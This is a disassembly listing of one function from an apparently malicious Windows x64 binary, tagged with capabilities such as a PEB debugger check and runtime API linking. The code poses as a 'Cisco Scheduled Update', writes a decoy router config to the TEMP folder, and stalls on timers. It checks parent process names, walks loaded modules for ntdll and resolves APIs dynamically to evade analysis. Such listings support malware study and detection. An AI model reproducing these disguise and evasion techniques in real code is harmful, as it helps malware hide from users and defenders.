Function at 0x14000db4c
Capabilities:
Check for peb beingdebugged flag
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x338]
sub rsp, 0x420
mov rax, qword [0x14005f088]
xor rax, rsp
mov qword [rbp + 0x310], rax
xor r14d, r14d
mov ebx, r14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
lea edx, [r14 + 8]
mov r8d, 0xff
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000dbac
mov dword [rax], 0x9a
mov rbx, rax
cmp dword [rbx], 0x15e
jle 0x14000dc22
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsDialogMessageW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.Running_Cisco_Scheduled_Update_nPlease_wait...
call fcn.1400010d8
xor r8d, r8d
lea r12d, [r8 + 1]
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov rbx, rax
mov rdi, 0xffffffffff676980
mov qword [rsp + 0x70], rdi
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.14000c35c
test al, al
je 0x14000df05
xor r8d, r8d
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateWaitableTimerW]
mov rbx, rax
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetWaitableTimer]
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r14
mov qword [rbp - 0x70], r14
mov r8d, 0x1c5
lea rdx, str._n________hostname_Router1_n________interface_GigabitEthernet0_0_n____________ip_address_192.168.1.1_255.255.255.0_n____________no_shutdown_n__________n________interface_GigabitEthernet0_1_n____________ip_address_10.0.0.1_255.255.255.0_n____________no_shutdown_n__________n________enable_secret_DefaultPassword_n________line_console_0_n____________password_cisco_n____________login_n________line_vty_0_4_n____________password_cisco_n____________login_n__________n
lea rcx, [rsp + 0x78]
call fcn.1400141a8
nop
lea rcx, str.TEMP
call fcn.14002b7f0
mov edi, 0x1000
test rax, rax
je 0x14000de9e
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
or rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x14000dd31
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400141a8
nop
mov r8d, setsockopt
lea rdx, str.cisco_config.txt
lea rcx, [rsp + 0x40]
call fcn.14000fb2c
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000ddc8
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, rdi
jb 0x14000ddc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e2cc
call fcn.14001ee60
movdqa xmm0, xmmword [0x140056c40]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], r14b
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call fcn.140021780
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x40]
call fcn.14000ff6c
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
lea rcx, [rbp - 0x40]
call fcn.140015b88
nop
lea rcx, [rbp + 0x68]
call fcn.14000e308
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0x68]
call fcn.14001dafc
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x14000de9e
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, rdi
jb 0x14000de98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e2d2
call fcn.14001ee60
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000ded6
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, rdi
jb 0x14000ded1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000e2c6
call fcn.14001ee60
mov eax, r12d
mov rcx, qword [rbp + 0x310]
xor rcx, rsp
call fcn.14001ee40
lea r11, [rsp + 0x420]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, [rbp + 0xd0]
call fcn.14000da90
test eax, eax
je 0x14000df82
lea rdx, [rbp + 0xd0]
mov ecx, dword [rbp + 0xf0]
call fcn.14000da90
test eax, eax
je 0x14000df82
lea rdx, str.svchost.exe
lea rcx, [rbp + 0xfc]
call fcn.140042974
test eax, eax
je 0x14000df82
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rdx, str.cmd.exe
lea rcx, [rbp + 0xfc]
call fcn.140042974
test eax, eax
je 0x14000df82
lea rdx, str.powershell.exe
lea rcx, [rbp + 0xfc]
call fcn.140042974
test eax, eax
jne 0x14000ded6
lea rcx, [0x14005fcf0]
call fcn.14000db10
lea rcx, [0x14005fc80]
call fcn.14000db10
lea rdi, [0x14005fd28]
mov rcx, rdi
call fcn.14000db10
lea rcx, [0x14005fce0]
call fcn.14000db10
lea rcx, [0x14005fcd0]
call fcn.14000db10
lea rcx, [0x14005fca8]
call fcn.14000db10
lea rcx, [0x14005fc90]
call fcn.14000db10
lea rcx, [0x14005fd38]
call fcn.14000db10
lea rcx, [0x14005fcc0]
call fcn.14000db10
lea rcx, [0x14005fd10]
call fcn.14000db10
lea rcx, [0x14005fc80]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x14000ded6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000ded6
lea rdx, [0x14005fce0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140064838], rax
test rax, rax
je 0x14000ded6
lea rdx, [0x14005fcd0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140064828], rax
test rax, rax
je 0x14000ded6
lea rdx, [0x14005fca8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140064848], rax
test rax, rax
je 0x14000ded6
lea rdx, [0x14005fc90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140064830], rax
test rax, rax
je 0x14000ded6
lea rdx, [0x14005fd38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140064850], rax
test rax, rax
je 0x14000ded6
lea rdx, [0x14005fcc0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140064878], rax
test rax, rax
je 0x14000ded6
lea rdx, [0x14005fd10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140064808], rax
test rax, rax
je 0x14000ded6
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rdi
call qword [0x140064838]
or rbx, 0xffffffffffffffff
cmp rax, rbx
je 0x14000e152
lea rdx, str.svchost.exe
lea rcx, [rbp + 0xfc]
call fcn.140042974
test eax, eax
jne 0x14000ded6
mov rsi, qword gs:[0x60]
cmp byte [rsi + 2], r14b
jne 0x14000ded6
mov ecx, 0xe600000
call fcn.14002b7f8
mov rdi, rax
test rax, rax
je 0x14000ded6
xor edx, edx
mov r8d, 0xe600000
mov rcx, rax
call fcn.140021780
mov rcx, rdi
call fcn.14002a868
mov r9, qword [rsi + 0x18]
add r9, 0x20
mov rcx, qword [r9]
cmp rcx, r9
je 0x14000ded6
mov r8, qword [rcx + 0x40]
mov rax, rbx
inc rax
cmp word [r8 + rax*2], r14w
jne 0x14000e1ae
cmp rax, 9
jb 0x14000e1f0
mov rdx, qword [r8 + rax*2 - 0x12]
movabs r10, 0x6c00640074006e
sub rdx, r10
jne 0x14000e1e3
movzx edx, byte [r8 + rax*2 - 0xa]
mov eax, WSAGetLastError
movzx eax, al
sub rdx, rax
mov eax, r14d
test rdx, rdx
sete al
test eax, eax
jne 0x14000e1f5
mov rcx, qword [rcx]
jmp 0x14000e19e
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14000ded6
call fcn.14000d664
mov rdi, rax
test rax, rax
je 0x14000ded6
mov rcx, rax
call fcn.14000d6d0
test rax, rax
je 0x14000ded6
mov rcx, rax
call fcn.14000d664
mov rsi, rax
test rax, rax
je 0x14000ded6
mov rdx, rax
mov rcx, rdi
call fcn.14000d7e8
mov ebx, eax
mov rcx, rdi
call fcn.14002a868
mov rcx, rsi
call fcn.14002a868
test ebx, ebx
je 0x14000ded6
lea rdx, [0x14000d444]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r14
lea rcx, [rsp + 0x60]
call fcn.14000d48c
test al, al
jne 0x14000e2a0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000e2bf
jmp 0x14000e2ba
or edx, 0xffffffff
mov rbx, qword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
test rbx, rbx
je 0x14000e2bf
mov rcx, rbx
call qword [rsp + 0x60]
nop
xor eax, eax
jmp 0x14000ded9
call fcn.14002b68c
nop
call fcn.14002b68c
nop
call fcn.14002b68c
int3